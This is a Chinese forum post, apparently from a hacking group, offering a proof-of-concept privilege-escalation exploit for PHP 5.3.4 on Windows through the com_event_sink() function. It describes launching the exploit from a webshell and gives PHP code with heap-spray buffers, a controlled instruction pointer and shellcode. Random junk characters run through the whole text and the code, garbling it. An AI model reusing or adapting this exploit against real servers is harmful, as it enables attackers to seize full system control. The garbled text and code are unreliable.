|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中3 _: V6 [3 K+ {5 ~" w
. a {6 E; x- j6 V2 ^
测试方法如下:cmd /c x:\php\php.exe x:\test.php
# I4 K; ^/ e8 n! }1 t+ D1 P
& D2 l, F, K4 g下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
6 L0 U2 D5 X0 n- |% T& f, j这里是两个测试的截图:
! H2 k8 Z4 d) _1 Q9 D
0 K2 W. `. |! ] C) U
: y- s) O9 B. S, G, s7 K6 t) [& {- S
8 G& M1 Z4 W6 @
' u# D: L1 y3 X7 w成功利用此漏洞的攻击者将获得系统的最高权限
9 r- f- I; r( M% {6 G y
- l( W T$ O& v( s
+ y# W) a+ B4 T* Z: `" Z
# ?3 b: {7 F$ J5 k; @# V
3 B, U. v) `6 }. r" i, `& f, ?$ h# E7 P- @2 l' v
关于漏洞分析稍后附上。一下是PoC代码:/ ?* u) @: S9 y- n! R6 }# _
2 ?" F/ P0 y8 {. s<?php+ L; D5 z7 D: V, y" A5 ~+ [6 |
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
3 B* @/ ?8 A$ j8 P0 X. {//$eip ="\x44\x43\x42\x41";) X0 g7 X) b# c# Z/ m
$eip= "\x4b\xe8\x57\x78";, a8 P8 J7 i6 h% p
$eax ="\x80\x01\x8d\x04";
1 N+ `5 R9 G+ ^5 A* U) ^0 D/ N+ w$deodrant="";5 o# ?8 B$ I3 l# ?. v0 n4 t" p
$axespray = str_repeat($eip.$eax,0x80);
8 X8 J+ T ?! i' z* V2 f5 v//048d0190, |$ o( A9 {) ]. {( |- m, G) l
echo strlen($axespray);
2 h( b7 N9 n! Eecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
( K0 E8 B( ?$ I; ?! X5 Hecho "Silic Group Hacker Army - BlackBap.Org";
) m1 v; l: e' R6 _: e+ F2 ]* i//19200 ==4B32 4b00
9 l2 ~, W6 K/ C& i0 j3 \$ B3 ]1 qfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}$ W" g% |( z) I9 Y* M4 e3 A
$terminate = "T";3 k6 \. w3 D5 ?. |4 c \# g k0 A* @
$u[] =$deodrant;& J1 ?0 q3 c/ D+ T; p
$r[] =$deodrant.$terminate;
4 h! _" b7 C# v4 v( R; [$a[] =$deodrant.$terminate;
2 f# X. o1 U' L; p) w- f$s[] =$deodrant.$terminate;7 C& h3 M5 g" g- _& o
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的" x3 K) M x& K& @% n6 R- r
$vVar = new VARIANT(0x048d0000+180);( E4 `, |9 U$ {: e6 N+ O
//弹窗代码(Shellcode)3 G$ K4 U% v$ R' r
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";- C8 O# [, F0 m
$var2 = new VARIANT(0x41414242);
" o( p, A. [$ l @! Qcom_event_sink($vVar,$var2,$buffer);& i1 \$ I' @, T6 d6 L
?>2 `& Q, n- N7 `4 i- J5 Y6 z! W3 k" n
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|